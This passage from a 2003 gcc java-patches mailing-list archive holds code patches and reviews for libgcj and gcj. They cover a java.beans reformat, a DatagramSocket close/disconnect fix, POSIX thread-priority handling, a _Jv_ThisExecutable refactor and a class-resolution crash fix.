registerEditor(java.awt.Color.class, gnu.java.beans.editors.ColorEditor.class); - registerEditor(java.awt.Font.class, gnu.java.beans.editors.FontEditor.class); - } - - /** Beats me why this class can be instantiated, but there - ** you have it. - **/ - public PropertyEditorManager() { } - - /** Register an editor for a class. Replaces old editor - ** if there was one registered before. - ** @param editedClass the class that the property editor - ** will edit. - ** @param editorClass the PropertyEditor class. - **/ - public static void registerEditor(Class editedClass, Class editorClass) { - editors.put(editedClass, editorClass); - } - - /** Returns a new instance of the property editor for the - ** specified class. - ** @param editedClass the class that the property editor - ** will edit. - ** @return a PropertyEditor instance that can edit the - ** specified class. - **/ - public static PropertyEditor findEditor(Class editedClass) { - try { - - Class found = (Class)editors.get(editedClass); - if(found != null) { - return (PropertyEditor)found.newInstance(); - } - - try { - found = Class.forName(editedClass.getName()+"Editor"); - registerEditor(editedClass,found); - return (PropertyEditor)found.newInstance(); - } catch(ClassNotFoundException E) { - } - - String appendName = "." + ClassHelper.getTruncatedClassName(editedClass) + "Editor"; - synchronized(editorSearchPath) { - for(int i=0;i + * + * It first checks to see if the property editor is + * already registered; if it is, that property editor is + * used. Next it takes the type's classname and appends + * "Editor" to it, and searches first in the class's + * package and then in the property editor search path.

      + * + * Default property editors are provided for:

      + *

        + *
      1. boolean, byte, short, int, long, float, and double
      2. + *
      3. java.lang.String
      4. + *
      5. java.awt.Color
      6. + *
      7. java.awt.Font
      8. + *
          + * + * Spec Suggestion: Perhaps an editor for + * Filename or something like it should be provided. As well + * as char. + * + * @author John Keiser + * @since 1.1 + * @version 1.1.0, 29 Jul 1998 + */ + +public class PropertyEditorManager +{ + static java.util.Hashtable editors = new java.util.Hashtable(); + static String[] editorSearchPath = {"gnu.java.beans.editors","sun.beans.editors"}; + + static + { + registerEditor(java.lang.Boolean.TYPE, gnu.java.beans.editors.NativeBooleanEditor.class); + registerEditor(java.lang.Byte.TYPE, gnu.java.beans.editors.NativeByteEditor.class); + registerEditor(java.lang.Short.TYPE, gnu.java.beans.editors.NativeShortEditor.class); + registerEditor(java.lang.Integer.TYPE, gnu.java.beans.editors.NativeIntEditor.class); + registerEditor(java.lang.Long.TYPE, gnu.java.beans.editors.NativeLongEditor.class); + registerEditor(java.lang.Float.TYPE, gnu.java.beans.editors.NativeFloatEditor.class); + registerEditor(java.lang.Double.TYPE, gnu.java.beans.editors.NativeDoubleEditor.class); + registerEditor(java.lang.String.class, gnu.java.beans.editors.StringEditor.class); + registerEditor(java.awt.Color.class, gnu.java.beans.editors.ColorEditor.class); + registerEditor(java.awt.Font.class, gnu.java.beans.editors.FontEditor.class); + } + + /** + * Beats me why this class can be instantiated, but there + * you have it. + */ + public PropertyEditorManager() + { + // Do nothing here + } + + /** + * Register an editor for a class. Replaces old editor + * if there was one registered before. + * + * @param editedClass the class that the property editor + * will edit. + * @param editorClass the PropertyEditor class. + */ + public static void registerEditor(Class editedClass, Class editorClass) + { + editors.put(editedClass, editorClass); + } + + /** + * Returns a new instance of the property editor for the + * specified class. + * + * @param editedClass the class that the property editor + * will edit. + * @return a PropertyEditor instance that can edit the + * specified class. + */ + public static PropertyEditor findEditor(Class editedClass) + { + try + { + Class found = (Class)editors.get(editedClass); + if(found != null) + { + return (PropertyEditor)found.newInstance(); + } + + try + { + found = Class.forName(editedClass.getName()+"Editor"); + registerEditor(editedClass,found); + return (PropertyEditor)found.newInstance(); + } + catch(ClassNotFoundException E) + { + } + + String appendName = "." + ClassHelper.getTruncatedClassName(editedClass) + "Editor"; + synchronized(editorSearchPath) + { + for(int i=0;i Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24827 invoked by alias); 27 Feb 2003 12:35:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24813 invoked from network); 27 Feb 2003 12:35:24 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 27 Feb 2003 12:35:24 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-69-015.ewetel.net [80.228.69.15]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1RCZINt014430 for ; Thu, 27 Feb 2003 13:35:23 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.net.DatagramSocket Date: Thu, 27 Feb 2003 13:29:44 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_4SgX+890GQc5hVP" Message-Id: <200302271329.44727.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_4SgX+890GQc5hVP Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, Here a patch to fix some things in DatagramSocket. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+XgS4WSOgCCdjSDsRArJsAKCebLT6lbWoI7PwMbbY7MqYYGAqQQCfSrW1 rBYxvMTYBZeJqRpyDFkp/N0=3D =3DCdI9 =2D----END PGP SIGNATURE----- --Boundary-00=_4SgX+890GQc5hVP Content-Type: text/x-diff; charset="iso-8859-15"; name="ds.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="ds.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1735 diff -u -r1.1735 ChangeLog --- ChangeLog 27 Feb 2003 10:52:39 -0000 1.1735 +++ ChangeLog 27 Feb 2003 12:28:00 -0000 @@ -1,5 +1,15 @@ 2003-02-27 Michael Koch + * java/net/DatagramSocket.java + (closed): New member variable. + (close): Use closed variable. + (getInetAddress): No need to call isConnected(). + (getPort): No need to call isConnected(). + (disconnect): Reset remoteAddress and remotePort, fixed typo. + (isClosed): Reimplemented. + +2003-02-27 Michael Koch + * java/beans/Beans.java, java/beans/FeatureDescriptor.java java/beans/PropertyEditorManager.java: Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.19 diff -u -r1.19 DatagramSocket.java --- java/net/DatagramSocket.java 17 Feb 2003 15:33:54 -0000 1.19 +++ java/net/DatagramSocket.java 27 Feb 2003 12:28:00 -0000 @@ -89,6 +89,11 @@ private int remotePort = -1; /** + * Indicates when the socket is closed. + */ + private boolean closed = false; + + /** * Creates a DatagramSocket from a specified DatagramSocketImpl instance * * @param impl The DatagramSocketImpl the socket will be created from @@ -201,9 +206,13 @@ */ public void close() { - impl.close(); - remoteAddress = null; - remotePort = -1; + if (!closed) + { + impl.close(); + remoteAddress = null; + remotePort = -1; + closed = true; + } } /** @@ -217,9 +226,6 @@ */ public InetAddress getInetAddress() { - if (!isConnected ()) - return null; - return remoteAddress; } @@ -234,9 +240,6 @@ */ public int getPort() { - if (!isConnected ()) - return -1; - return remotePort; } @@ -265,7 +268,7 @@ // s.checkConnect("localhost", -1); try { - return (InetAddress)impl.getOption(SocketOptions.SO_BINDADDR); + return (InetAddress)impl.getOption(SocketOptions.SO_BINDADDR); } catch (SocketException ex) { @@ -273,12 +276,12 @@ try { - return InetAddress.getLocalHost(); + return InetAddress.getLocalHost(); } catch (UnknownHostException ex) { - // FIXME: This should never happen, so how can we avoid this construct? - return null; + // FIXME: This should never happen, so how can we avoid this construct? + return null; } } @@ -469,7 +472,7 @@ /** * This method disconnects this socket from the address/port it was - * conencted to. If the socket was not connected in the first place, + * connected to. If the socket was not connected in the first place, * this method does nothing. * * @since 1.2 @@ -477,6 +480,8 @@ public void disconnect() { impl.disconnect(); + remoteAddress = null; + remotePort = -1; } /** @@ -596,7 +601,7 @@ */ public boolean isClosed() { - return !impl.getFileDescriptor().valid(); + return closed; } /** --Boundary-00=_4SgX+890GQc5hVP-- From java-patches-return-6290-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 12:54:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1169 invoked by alias); 27 Feb 2003 12:54:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1162 invoked from network); 27 Feb 2003 12:54:16 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.100) by 172.16.49.205 with SMTP; 27 Feb 2003 12:54:16 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 27 Feb 2003 04:54:15 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Michael Koch" , References: <200302271121.55837.konqueror@gmx.de> Subject: Re: [PATCH] java.io.FileDescriptor Date: Thu, 27 Feb 2003 18:26:06 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 27 Feb 2003 12:54:15.0422 (UTC) FILETIME=[554DD9E0:01C2DE5F] > This patch adds a truncate method to java.io.FileDescriptor. Its > currently "implemented" for Ecos and Posix. The windows people should > implement it for win32. The stub is there. Questions: 1. why can't you use the current java::io::FileDescriptor::setLength( ) method? 2. should you not protect the use of ftruncate( ) with a "#ifdef HAVE_FTRUNCATE"? Ranjit. From java-patches-return-6291-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 13:17:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7419 invoked by alias); 27 Feb 2003 13:17:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7411 invoked from network); 27 Feb 2003 13:17:48 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 27 Feb 2003 13:17:48 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-69-139.ewetel.net [80.228.69.139]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1RDHk1f014077; Thu, 27 Feb 2003 14:17:46 +0100 (MET) From: Michael Koch To: "Ranjit Mathew" , "Ranjit Mathew" , Subject: Re: [PATCH] java.io.FileDescriptor Date: Thu, 27 Feb 2003 14:17:14 +0100 User-Agent: KMail/1.5 References: <200302271121.55837.konqueror@gmx.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302271417.14662.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Donnerstag, 27. Februar 2003 13:56 schrieb Ranjit Mathew: > Questions: > > 1. why can't you use the current > java::io::FileDescriptor::setLength( ) method? OUCH. I just overlooked it. Thanks for the hint. I think I will use setLength() now ... Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Xg/aWSOgCCdjSDsRAgjPAKCQ+MFGscIFXpBRQBLh0KvU2EP7hACfVYVi prA7+5JnUTNaibyUC/s58N4=3D =3D6Abp =2D----END PGP SIGNATURE----- From java-patches-return-6292-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 18:18:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26258 invoked by alias); 27 Feb 2003 18:18:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26248 invoked from network); 27 Feb 2003 18:18:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 27 Feb 2003 18:18:04 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA20209; Thu, 27 Feb 2003 11:18:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3F98A4F8610; Thu, 27 Feb 2003 11:10:41 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: FYI: java.beans References: <200302271153.07409.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: TAPPING? You POLITICIANS! Don't you realize that the END of the ``Wash Cycle'' is a TREASURED MOMENT for most people?! Date: 27 Feb 2003 11:10:41 -0700 In-Reply-To: <200302271153.07409.konqueror@gmx.de> Message-ID: <87r89tzja6.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited a patch to java.beans to reformat the code to GNU Michael> style. No other code changes. This has to go in Classpath as well. Thanks. Tom From java-patches-return-6293-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 00:04:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19464 invoked by alias); 28 Feb 2003 00:04:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19440 invoked from network); 28 Feb 2003 00:04:21 -0000 Received: from unknown (HELO yeah-baby.shagadelic.org) (208.176.2.162) by 172.16.49.205 with SMTP; 28 Feb 2003 00:04:21 -0000 Received: by yeah-baby.shagadelic.org (Postfix, from userid 2158) id 7024A7B12; Thu, 27 Feb 2003 16:04:20 -0800 (PST) Date: Thu, 27 Feb 2003 16:04:20 -0800 From: Jason R Thorpe To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org Subject: [libjava PATCH] Conditionalize use of thread priority scheduling Message-ID: <20030228000420.GA12006@yeah-baby.shagadelic.org> Mail-Followup-To: Jason R Thorpe , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg" Content-Disposition: inline User-Agent: Mutt/1.4i Organization: Wasabi Systems, Inc. --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Thread priority scheduling is an option in POSIX. The canonical way to test for this feature is to include and test for the _POSIX_THREAD_PRIORITY_SCHEDULING macro. The libstdc++-v3 testsuite already does this, in fact. This fixes building libjava on i386-unknown-netbsdelf2.0 (threads enabled). OK for mainline and 3.3 branch? * posix-threads.cc: Include if HAVE_UNISTD_H is defined. (_Jv_ThreadSetPriority): Test for _POSIX_THREAD_PRIORITY_SCHEDULING. -- -- Jason R. Thorpe --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=libjava-pthread-patch Index: posix-threads.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/posix-threads.cc,v retrieving revision 1.32 diff -c -r1.32 posix-threads.cc *** posix-threads.cc 21 Mar 2002 00:26:44 -0000 1.32 --- posix-threads.cc 27 Feb 2003 23:58:14 -0000 *************** *** 24,29 **** --- 24,32 ---- #include #include #include + #ifdef HAVE_UNISTD_H + #include // To test for _POSIX_THREAD_PRIORITY_SCHEDULING + #endif #include #include *************** *** 318,323 **** --- 321,327 ---- void _Jv_ThreadSetPriority (_Jv_Thread_t *data, jint prio) { + #ifdef _POSIX_THREAD_PRIORITY_SCHEDULING if (data->flags & FLAG_START) { struct sched_param param; *************** *** 325,330 **** --- 329,335 ---- param.sched_priority = prio; pthread_setschedparam (data->thread, SCHED_RR, ¶m); } + #endif } void --gKMricLos+KVdGMg-- From java-patches-return-6294-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 03:00:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22856 invoked by alias); 28 Feb 2003 03:00:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22847 invoked from network); 28 Feb 2003 03:00:30 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 28 Feb 2003 03:00:30 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1S30T713737 for ; Thu, 27 Feb 2003 21:00:29 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Thu, 27 Feb 2003 21:00:26 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <83PN1Z71SOLKLFSOTOVTHDC0UOPOKE96.3e5cd7b6@p733> Message-Id: <4243KE31RMIDTNICA721WSIGVSEA7363.3e5ed0ca@p733> Subject: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch People, Here is a new cut at the _Jv_ThisExecutable() patch, based on this post: http://gcc.gnu.org/ml/java/2003-02/msg00517.html Andrew's idea of moving _Jv_ThisExecutable() to the platform-dependent files eliminated the need for the autoconf and autoheader insanity of my previous patch. Also, this patch proposes the elimination of the _Jv_ThisExecutable() setter. My reasoning is that no one should have any business deciding this value other than the implementations, and no one should ever subsequently tamper with it. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-02-27 Mohan Embar * include/jvm.h: removed declaration of _Jv_ThisExecutable() setter; made return value of getter const char* instead of char* * prims.cc: removed all references to _Jv_ThisExecutable(). These are in the platform-specific sections now. * posix.cc: define platform-specific _Jv_ThisExecutable(). Handle DISABLE_MAIN_ARGS and HAVE_PROC_SELF_EXE cases * win32.cc: define platform-specific _Jv_ThisExecutable() using GetModuleFilename() * java/lang/natRuntime.cc: set gnu.gcj.progname property to argv[0] instead of _Jv_ThisExecutable() Index: posix.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/posix.cc,v retrieving revision 1.7 diff -u -2 -r1.7 posix.cc --- posix.cc 7 Apr 2002 11:26:58 -0000 1.7 +++ posix.cc 27 Feb 2003 15:11:45 -0000 @@ -26,4 +26,24 @@ #endif +// platform-specific executable name +extern const char **_Jv_argv; + +#if defined(HAVE_PROC_SELF_EXE) +static char exec_name[20]; + // initialized in _Jv_platform_initialize() +#endif + +const char *_Jv_ThisExecutable (void) +{ +#if defined(DISABLE_MAIN_ARGS) + return "[Embedded App]"; +#elif defined(HAVE_PROC_SELF_EXE) + return exec_name; + // initialized in _Jv_platform_initialize() +#else + return _Jv_argv[0]; +#endif +} + // gettimeofday implementation. jlong @@ -62,4 +82,9 @@ #else signal (SIGPIPE, SIG_IGN); +#endif + +#if defined (HAVE_PROC_SELF_EXE) + // Compute our executable name + sprintf (exec_name, "/proc/%d/exe", getpid ()); #endif } Index: prims.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/prims.cc,v retrieving revision 1.76 diff -u -2 -r1.76 prims.cc --- prims.cc 5 Dec 2002 00:49:29 -0000 1.76 +++ prims.cc 27 Feb 2003 15:11:47 -0000 @@ -87,7 +87,4 @@ #endif -// The name of this executable. -static char *_Jv_execName; - // Stash the argv pointer to benefit native libraries that need it. const char **_Jv_argv; @@ -708,20 +705,4 @@ static java::lang::Thread *main_thread; -char * -_Jv_ThisExecutable (void) -{ - return _Jv_execName; -} - -void -_Jv_ThisExecutable (const char *name) -{ - if (name) - { - _Jv_execName = (char *) _Jv_Malloc (strlen (name) + 1); - strcpy (_Jv_execName, name); - } -} - #ifndef DISABLE_GETENV_PROPERTIES @@ -960,17 +941,4 @@ java::lang::Runtime *runtime = NULL; - - -#ifdef DISABLE_MAIN_ARGS - _Jv_ThisExecutable ("[Embedded App]"); -#else -#ifdef HAVE_PROC_SELF_EXE - char exec_name[20]; - sprintf (exec_name, "/proc/%d/exe", getpid ()); - _Jv_ThisExecutable (exec_name); -#else - _Jv_ThisExecutable (argv[0]); -#endif /* HAVE_PROC_SELF_EXE */ -#endif /* DISABLE_MAIN_ARGS */ try Index: win32.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/win32.cc,v retrieving revision 1.12.22.2 diff -u -2 -r1.12.22.2 win32.cc --- win32.cc 19 Feb 2003 16:27:22 -0000 1.12.22.2 +++ win32.cc 27 Feb 2003 15:11:47 -0000 @@ -29,4 +29,13 @@ } +// Platform-specific executable name +static char exec_name[MAX_PATH]; + // initialized in _Jv_platform_initialize() + +const char *_Jv_ThisExecutable (void) +{ + return exec_name; +} + // Platform-specific VM initialization. void @@ -38,6 +47,10 @@ MessageBox (NULL, "Error initialising winsock library.", "Error", MB_OK | MB_ICONEXCLAMATION); + // Install exception handler SetUnhandledExceptionFilter (win32_exception_handler); + + // Initialize our executable name + GetModuleFileName(NULL, exec_name, sizeof(exec_name)); } Index: include/jvm.h =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/include/jvm.h,v retrieving revision 1.52 diff -u -2 -r1.52 jvm.h --- include/jvm.h 29 Aug 2002 17:53:28 -0000 1.52 +++ include/jvm.h 27 Feb 2003 15:11:51 -0000 @@ -353,7 +353,6 @@ } -/* get/set the name of the running executable. */ -extern char *_Jv_ThisExecutable (void); -extern void _Jv_ThisExecutable (const char *); +/* Get the name of the running executable. */ +extern const char *_Jv_ThisExecutable (void); /* Return a pointer to a symbol in executable or loaded library. */ Index: java/lang/natRuntime.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.29.2.3 diff -u -2 -r1.29.2.3 natRuntime.cc --- java/lang/natRuntime.cc 19 Feb 2003 16:18:03 -0000 1.29.2.3 +++ java/lang/natRuntime.cc 27 Feb 2003 15:11:54 -0000 @@ -129,4 +129,8 @@ +extern int _Jv_argc; +extern const char **_Jv_argv; + // our process' command line arguments + void java::lang::Runtime::exitInternal (jint status) @@ -608,5 +612,5 @@ // The name used to invoke this process (argv[0] in C). - SET ("gnu.gcj.progname", _Jv_ThisExecutable()); + SET ("gnu.gcj.progname", _Jv_argv[0]); // Allow platform specific settings and overrides. From java-patches-return-6295-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:27:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31466 invoked by alias); 28 Feb 2003 04:27:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31453 invoked from network); 28 Feb 2003 04:27:57 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:27:57 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA04310; Thu, 27 Feb 2003 21:27:56 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B96794F8610; Thu, 27 Feb 2003 21:20:40 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: 3.3 fix for PR java/9695 From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now that we're in LOVE, you can BUY this GOLDFISH for a 48% DISCOUNT. Date: 27 Feb 2003 21:20:40 -0700 Message-ID: <87u1eprq7b.fsf@fleche.redhat.com> Lines: 55 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes PR java/9695. The bug here is that compiling Classpath with gcj fails. We don't see this failure when compiling libgcj because Classpath compiles all the files in one go, and libgcj does not. do_resolve_class expects its `cl' argument to be an EXPR_WITH_FILE_LOCATION. The crash in question occurs because one infrequently-executed code path will call do_resolve_class with a plain class. This fix works by wrapping the class before passing it on. Tested by compiling Classpath. This also rebuilt libgcj correctly, and passed the test suite, including Jacks and Mauve, with no regressions. Ok for 3.3 and trunk? Tom Index: ChangeLog from Tom Tromey PR java/9695: * class.c (maybe_layout_super_class): Always pass a WFL to do_resolve_class. Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.153 diff -u -r1.153 class.c --- class.c 20 Feb 2003 17:51:46 -0000 1.153 +++ class.c 28 Feb 2003 02:47:47 -0000 @@ -1726,8 +1726,19 @@ super_class = TREE_TYPE (super_class); else { + /* do_resolve_class expects an EXPR_WITH_FILE_LOCATION, so + we give it one. */ + tree this_wrap = NULL_TREE; + + if (this_class) + { + tree this_decl = TYPE_NAME (this_class); + this_wrap = build_expr_wfl (this_class, + DECL_SOURCE_FILE (this_decl), + DECL_SOURCE_LINE (this_decl), 0); + } super_class = do_resolve_class (NULL_TREE, /* FIXME? */ - super_class, NULL_TREE, this_class); + super_class, NULL_TREE, this_wrap); if (!super_class) return NULL_TREE; /* FIXME, NULL_TREE not checked by caller. */ super_class = TREE_TYPE (super_class); From java-patches-return-6296-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:35:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1020 invoked by alias); 28 Feb 2003 04:35:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1012 invoked from network); 28 Feb 2003 04:35:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:35:55 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA05739; Thu, 27 Feb 2003 21:35:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2B74B4F8610; Thu, 27 Feb 2003 21:28:38 -0700 (MST) To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org '" Subject: Re: _Jv_CallAnyMehtodA alignment patch References: <75A9FEBA25015040A761C1F74975667DA136BE@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: UH-OH!! We're out of AUTOMOBILE PARTS and RUBBER GOODS! Date: 27 Feb 2003 21:28:38 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136BE@hplex4.hpl.hp.com> Message-ID: <87of4xrpu1.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> I've attached a patch that expands an existing jni test to Hans> demonstrate the problem. Thanks for writing this. Hans> Are both the test and the original patch Hans> (http://gcc.gnu.org/ml/java-patches/2003-q1/msg00317.html) OK Hans> for the trunk? Yes, and the 3.3 branch. I can check it in to the branch if you like; just tell me. Tom From java-patches-return-6297-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:39:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2293 invoked by alias); 28 Feb 2003 04:39:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2286 invoked from network); 28 Feb 2003 04:39:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:39:10 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA06278; Thu, 27 Feb 2003 21:39:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8B9214F8610; Thu, 27 Feb 2003 21:31:53 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] javax.accessibility.AccessibleContext References: <200302191353.20601.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Mary Tyler Moore's SEVENTH HUSBAND is wearing my DACRON TANK TOP in a cheap hotel in HONOLULU! Date: 27 Feb 2003 21:31:53 -0700 In-Reply-To: <200302191353.20601.konqueror@gmx.de> Message-ID: <87k7flrpom.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited the atteched patch to fix a typo. Michael> + * javax/accessibility/AccessibleContext.java Michael> + (ACCESSIBLE_DESCRIPTION_PROPERTY): Fixed typo. Please put this in Classpath as well. It doesn't show up on the comparison page, but javax.accessibility has been 